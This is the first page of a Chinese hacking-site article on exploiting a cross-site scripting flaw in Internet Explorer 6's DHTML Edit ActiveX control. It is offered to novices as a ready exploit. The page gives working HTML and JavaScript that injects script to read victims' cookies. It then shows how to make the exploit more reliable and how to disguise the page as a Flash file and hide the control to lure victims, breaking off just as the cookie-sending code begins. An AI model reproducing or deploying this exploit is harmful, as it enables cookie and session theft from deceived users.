奥运倒计时: 2008 中国挺住,中国加油! 全国人民对四川汶川大地震遇难同胞的深切哀悼! 设为首页 加入收藏
点击进入太平洋安全网首页
论坛登陆 用户名: 密码:
首页 新闻资讯 文章中心 黑客资源 黑客点睛 安全防护 软件下载 动画教程 会员咨询 技术问答 论坛社区
文章 下载 图片
文章   | 电脑知识 | 网络知识 | 菜鸟入门 | 入侵教程 | 黑客攻防 | 黑客编程 | 原创精华 | 黑客人物 | 黑客技术 | 提权技术 | 跨站技术 | 渗透技术 | 鸽子专题 |
 您现在的位置: 太平洋安全网 >> 文章 >> 跨站技术 >> 正文

[图文]MSIE DHTML Edit跨站脚本漏洞的深入利用

作者:Ink    文章来源:网络采集    点击数:    更新时间:2008-5-10
作者: llikz
来 源: 《黑客防线》

MSIE DHTML EdIT跨站脚本漏洞
微软在去年发布了MSIE DHTML EdIT控件跨站脚本漏洞,但是圈内一直没有公布出好用的EXP,害得一帮新手叫苦不迭,别急,这不是为大家送来了大餐吗?!

[受影响系统]
Microsoft Internet Explorer 6.0
- Microsoft Windows XP Professional SP1
- Microsoft Windows XP Professional
- Microsoft Windows XP Home SP1
- Microsoft Windows XP Home
- Microsoft Windows ME
- Microsoft Windows 98 SE
- Microsoft Windows 98
- Microsoft Windows 2000

[漏洞描述]
Microsoft Internet Explorer DHTML edIT控件不正确过滤部分数据,远程攻击者可以利用这个漏洞进行跨站脚本攻击,获得敏感信息。DHTML编辑控件存在一个安全问题可被父窗口访问,包括Script函数,攻击者使用exeScript直接注入javascript到控件,当目标用户打开恶意链接时,会导致恶意脚本代码执行,泄露敏感信息。
看来只能影响到IE 6.0版本,并且对Windows XP SP2没有作用,不过没有给XP打SP2补丁的用户不在少数,这个漏洞的利用价值还是蛮大的。
由于我使用的是Windwos XP SP1正好存在这个漏洞,我们就先来测试一下吧,在本地建立如下内容的HTML页面:
<html>
<head>
<title>测试</tITle>
</head>
<body onload="setTimeout('x.DOM.body.innerHTML=\'<b>正在装载,请稍后
++++++++++++++</b>\'');setTimeout('main()',1000)">
<object
id="x"
classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A"
width="800"
height="600"
align="middle"
>
<PARAM NAME="ActivateApplets" VALUE="1">
<PARAM NAME="ActivateActiveXControls" VALUE="1">
</object>
<SCRIPT>
function shellscript()
{
window.name="poorchild";
open("http://www.hacker.com.cn/newbbs/announcements.asp?
action=showone&boardid=0","poorchild");
}
function main()
{
x.DOM.Script.execScript(shellscript.toString());
x.DOM.Script.setTimeout("shellscript()");
alert('等等++++++++++++++++++++++++++');
x.DOM.Script.execScript('alert(document.cookie)');
}
</SCRIPT>

</body>
</html>
用IE浏览器打开,如果你的系统存在这个漏洞,看出现了什么。
呵呵,弹出了我在黑防论坛上的Cookie信息。不过这个页面利用起来很不方便,并且成功率不高,如果没等到DHTML控件加载完毕就点击确定,是不会弹出任何Cookie信息的。
没等到页面加载完毕就点击弹出的第一个确定,一定会攻击失败,看来还是不足的。我们来对这个页面进行一下补充和修改吧,使得它成为一个成功率高的偷取Cookie信息的网页,好了,我们现在开始动手。
为了增加加载时间我们先将setTimeout('main()',1000)中的参数改大一些,就设成10000把,也就是10秒,够长了。虽然页面显示着正在加载,但状态栏中却显示着完毕,我们来修改状态栏的文字,加入如下的函数:
function clock() {
var tITle="正在装载,请稍后++++++++++++++";
status=tITle;
}
为了尽可能的诱使浏览者去打开这个页面,我们把它改名成.swf格式的文件,即把此页面伪装成一个Flash文件。在页面中加入:
<object classid="clsid:D27CDB6E-AE6D-11CF-96B8-444553540000" id="obj1" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" border="0" width="800" height="600">
<param name="movie" value="http://www.istacey.net/project/exorcist/icon/promo3.swf">
<param name="qualITy" value="High">
<embed src="http://www.istacey.net/project/exorcist/icon/promo3.swf" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" name="obj1" width="489" height="76" qualITy="High"></object>
同时隐藏DHTML控件,即将DHTML空间的width,height属性设置成0。为了将Cookie发送,我们添加如下脚本:
x.DOM.Script.exe

[1] [2] [3] 下一页

文章录入:Ink    责任编辑:Ink 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
     推荐文章
    固顶文章网络视频PPStream官方网站的跨站(图)
     热门文章
  • 此栏目下没有热点文章
  •  本站推荐

    关于我们 | 联系方法 | 招聘信息 | 加入会员 | 诚征代理 | 广告服务 | 欢迎投稿 | 站长信箱 | 友情链接 | 网站地图
    24小时客服:0374-7126138 技术支持:0374-7126138 投诉电话:0374-7967536
    客服QQ:883039 售后QQ:827520 技术QQ:78305152 投稿-商业:576880739
    Copyright 太平洋科技 2003-2007 版权所有 All Rights Reserved
    许可证号:豫ICP备07005385号